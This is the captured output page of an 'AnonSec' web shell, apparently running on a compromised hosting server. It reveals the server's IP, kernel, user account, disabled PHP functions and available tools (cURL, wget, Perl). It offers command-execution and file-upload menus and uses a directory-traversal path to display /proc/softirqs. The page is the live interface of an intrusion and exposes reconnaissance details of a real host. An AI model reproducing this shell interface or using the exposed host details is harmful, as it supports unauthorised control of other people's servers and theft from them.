Gotcha!
Server IP : 162.241.5.139  /  Your IP : 216.73.216.50
Web Server : Apache
System : Linux server.vda.uxz.mybluehostin.me 5.14.0-687.59.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 21 06:02:14 EDT 2026 x86_64
User : dataincite ( 1006)
PHP Version : 8.2.35
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../../etc/pki/java/../java/../java/../java/../java/../java/../../../../../srv/../../proc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../../etc/pki/java/../java/../java/../java/../java/../java/../../../../../srv/../../proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          1          0          0          0          0          0          1          0          0          0
       TIMER:   17098240   46566691   27245352   38184661   25775709   39261858   31237588   20182187   26772827   23107346   24526722   24784798  109592373   15229808   34881764   24663924
      NET_TX:          5          7          5         10          2          7          2         11          7          6          5         17          2          0          5          1
      NET_RX:   27310144   70085680   40002394   98251777   35958285  124009724   34493654   33107641   52180660   57490116   50280285   36731169   53026503   26448752  105734817  114106077
       BLOCK:    1272197    2154991    1969179    1571643    1309059    1335182    1335691    1261027    1410782    1194791    1065970    1279021    1238049    1268098    1417279    1546991
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:    5485505   13616077    4078724   24959229    7948725   31458709    8291309    6792557   11728964    7800730   15955087    9376078   15229312    4413643   24545166    4273671
       SCHED:   43183798   21000214   13826517   17581023   11482382   19806702   11825311   10086317   12843201   13149655   10678264   13440978   23104449    9081334   17294062   22507414
     HRTIMER:       2055       5282       3614       9111       2214      15002       1627       2469       4860       2664       5649       4216       6972       1398       9146       1358
         RCU:   42434828   77378777   54501831   89868702   52028219  108502714   52983370   45773910   60234464   72337342   46483493   48310512   98676013   41228576   97739362  147488505

AnonSec - 2021